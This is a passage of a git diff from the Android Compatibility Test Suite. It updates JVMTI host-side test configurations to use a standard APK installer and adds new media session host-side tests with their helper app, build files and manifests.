         <option name="jar" value="CtsJvmtiRunTest927HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
index b7c59de..477a056 100644
--- a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest928DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_928" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest928HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
index 3b241b2..cbed864 100644
--- a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest930DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_930" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest930HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
index 4944067..4532a3e 100644
--- a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest931DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_931" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest931HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
index b6b1574..234476c 100644
--- a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest932DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_932" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest932HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
index 56ebc24..2ef5266 100644
--- a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest940DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_940" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest940HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
index ffe2bf4..a0043a8 100644
--- a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest942DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_942" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest942HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
index c772bfb..bf9c3b0 100644
--- a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest944DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_944" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest944HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
index 431c5e6..be0827b 100644
--- a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest945DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_945" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest945HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
index 4ab0c9a..2a8b3d1 100644
--- a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest947DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_947" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest947HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
index b489635..659506d 100644
--- a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest951DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_951" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest951HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
index 3e2bb67..e6351d3 100644
--- a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest981DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_981" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest981HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
index 7c4833f..2411871 100644
--- a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest982DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_982" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest982HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
index 7ba284c..26c3ed6 100644
--- a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest984DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_984" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest984HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
index ba21091..214faba 100644
--- a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest985DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_985" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest985HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
index 4bc581f..8b012e0 100644
--- a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest986DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_986" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest986HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/tagging/AndroidTest.xml b/hostsidetests/jvmti/tagging/AndroidTest.xml
index 2cee989..403ca28 100644
--- a/hostsidetests/jvmti/tagging/AndroidTest.xml
+++ b/hostsidetests/jvmti/tagging/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiTaggingDeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.tagging" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiTaggingHostTestCases.jar" />
diff --git a/hostsidetests/media/Android.mk b/hostsidetests/media/Android.mk
new file mode 100644
index 0000000..36e9066
--- /dev/null
+++ b/hostsidetests/media/Android.mk
@@ -0,0 +1,36 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, common) \
+    $(call all-java-files-under, src)
+
+LOCAL_MODULE_TAGS := tests
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_MODULE := CtsMediaHostTestCases
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
+include $(call first-makefiles-under,$(LOCAL_PATH))
+
diff --git a/hostsidetests/media/AndroidTest.xml b/hostsidetests/media/AndroidTest.xml
new file mode 100644
index 0000000..483d969
--- /dev/null
+++ b/hostsidetests/media/AndroidTest.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS media host test cases">
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsMediaHostTestCases.jar" />
+        <option name="runtime-hint" value="30m" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.mk b/hostsidetests/media/app/MediaSessionTest/Android.mk
new file mode 100644
index 0000000..eb9059d
--- /dev/null
+++ b/hostsidetests/media/app/MediaSessionTest/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsMediaSessionHostTestApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+    $(call all-java-files-under, ../../common)
+
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
new file mode 100644
index 0000000..60e82dd
--- /dev/null
+++ b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.media.session.cts">
+
+    <uses-sdk android:minSdkVersion="26"/>
+
+    <application />
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.media.session.cts"
+        android:label="MediaSession multi-user case CTS Tests" />
+
+</manifest>
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
new file mode 100644
index 0000000..2186038
--- /dev/null
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.session.cts;
+
+import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
+
+import android.content.Context;
+import android.content.ComponentName;
+import android.test.AndroidTestCase;
+import android.media.session.MediaSessionManager;
+import android.media.session.MediaController;
+
+import java.util.List;
+
+/**
+ * Tests {@link MediaSessionManager} with the multi-user environment.
+ * <p>Don't run tests here directly. They aren't stand-alone tests and each test will be run
+ * indirectly by the host-side test CtsMediaHostTestCases after the proper device setup.
+ */
+public class MediaSessionManagerTest extends AndroidTestCase {
+    private MediaSessionManager mMediaSessionManager;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mMediaSessionManager = (MediaSessionManager) getContext().getSystemService(
+                Context.MEDIA_SESSION_SERVICE);
+    }
+
+    /**
+     * Tests if the MediaSessionTestHelper doesn't have an active media session.
+     */
+    public void testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper() throws Exception {
+        List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
+                createFakeNotificationListener());
+        for (MediaController controller : controllers) {
+            if (controller.getPackageName().equals(MEDIA_SESSION_TEST_HELPER_PKG)) {
+                fail("Media session for the media session app shouldn't be available");
+                return;
+            }
+        }
+    }
+
+    /**
+     * Tests if the MediaSessionTestHelper has an active media session.
+     */
+    public void testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper() throws Exception {
+        List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
+                createFakeNotificationListener());
+        for (MediaController controller : controllers) {
+            if (controller.getPackageName().equals(MEDIA_SESSION_TEST_HELPER_PKG)) {
+                // Test success
+                return;
+            }
+        }
+        fail("Media session for the media session app is expected");
+    }
+
+    /**
+     * Tests if there's no media session.
+     */
+    public void testGetActiveSessions_noMediaSession() throws Exception {
+        List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
+                createFakeNotificationListener());
+        assertTrue(controllers.isEmpty());
+    }
+
+    /**
+     * Returns the ComponentName of the notification listener for this test.
+     * <p>Notification listener will be enabled by the host-side test.
+     */
+    private ComponentName createFakeNotificationListener() {
+        return new ComponentName(getContext(), MediaSessionManagerTest.class);
+    }
+}
+
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
new file mode 100644
index 0000000..3944cb6
--- /dev/null
+++ b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+    $(call all-java-files-under, ../../common)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsMediaSessionTestHelper
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
+
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml
new file mode 100644
index 0000000..1e29eca
--- /dev/null
+++ b/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.media.app.media_session_test_helper"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <application android:label="@string/label">
+        <service android:name=".MediaSessionTestHelperService">
+            <intent-filter>
+                <action android:name="android.media.app.media_session_test_helper.ACTION_CONTROL" />
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/res/values/strings.xml b/hostsidetests/media/app/MediaSessionTestHelper/res/values/strings.xml
new file mode 100644
index 0000000..fb75fdb
--- /dev/null
+++ b/hostsidetests/media/app/MediaSessionTestHelper/res/values/strings.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<resources>
+    <string name="label">MediaSessionTestHelper for media host-side CTS tests</string>
+</resources>
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java b/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
new file mode 100644
index 0000000..a161ba5
--- /dev/null
+++ b/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.app.media_session_test_helper;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.media.session.MediaSession;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import android.media.cts.MediaSessionTestHelperConstants;
+
+/**
+ * Service of the media session's host-side CTS helper.
+ * <p>This is the foreground service to prevent this process from being killed by the OOM killer
+ * while the host-side tests are running.
+ */
+public class MediaSessionTestHelperService extends Service {
+    private static final String TAG = "MediaSessionTestHelperService";
+
+    private static final int NOTIFICATION_ID = 100;
+
+    private MediaSession mMediaSession;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+        // Build notification UI to make this a foreground service.
+        Notification notification = new Notification.Builder(this)
+                .setSmallIcon(android.R.drawable.sym_def_app_icon)
+                .setContentTitle(getString(R.string.label)).build();
+        startForeground(NOTIFICATION_ID, notification);
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        super.onStartCommand(intent, flags, startId);
+        if (!TextUtils.equals(intent.getAction(), MediaSessionTestHelperConstants.ACTION_CONTROL)) {
+            Log.e(TAG, "Invalid action " + intent.getAction() + ". Test may fail");
+            return START_STICKY;
+        }
+        int flag = intent.getIntExtra(MediaSessionTestHelperConstants.EXTRA_CONTROL_COMMAND, 0);
+        if ((flag & MediaSessionTestHelperConstants.FLAG_CREATE_MEDIA_SESSION) != 0) {
+            if (mMediaSession == null) {
+                mMediaSession = new MediaSession(this, TAG);
+            }
+        }
+        if (mMediaSession != null) {
+            if ((flag & MediaSessionTestHelperConstants.FLAG_SET_MEDIA_SESSION_ACTIVE) != 0) {
+                mMediaSession.setActive(true);
+            }
+            if ((flag & MediaSessionTestHelperConstants.FLAG_SET_MEDIA_SESSION_INACTIVE) != 0) {
+                mMediaSession.setActive(false);
+            }
+        }
+        if ((flag & MediaSessionTestHelperConstants.FLAG_RELEASE_MEDIA_SESSION) != 0) {
+            releaseMediaSession();
+        }
+        return START_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        // It's not a bind service.
+        return null;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        releaseMediaSession();
+    }
+
+    private void releaseMediaSession() {
+        if (mMediaSession != null) {
+            mMediaSession.release();
+            mMediaSession = null;
+        }
+    }
+}
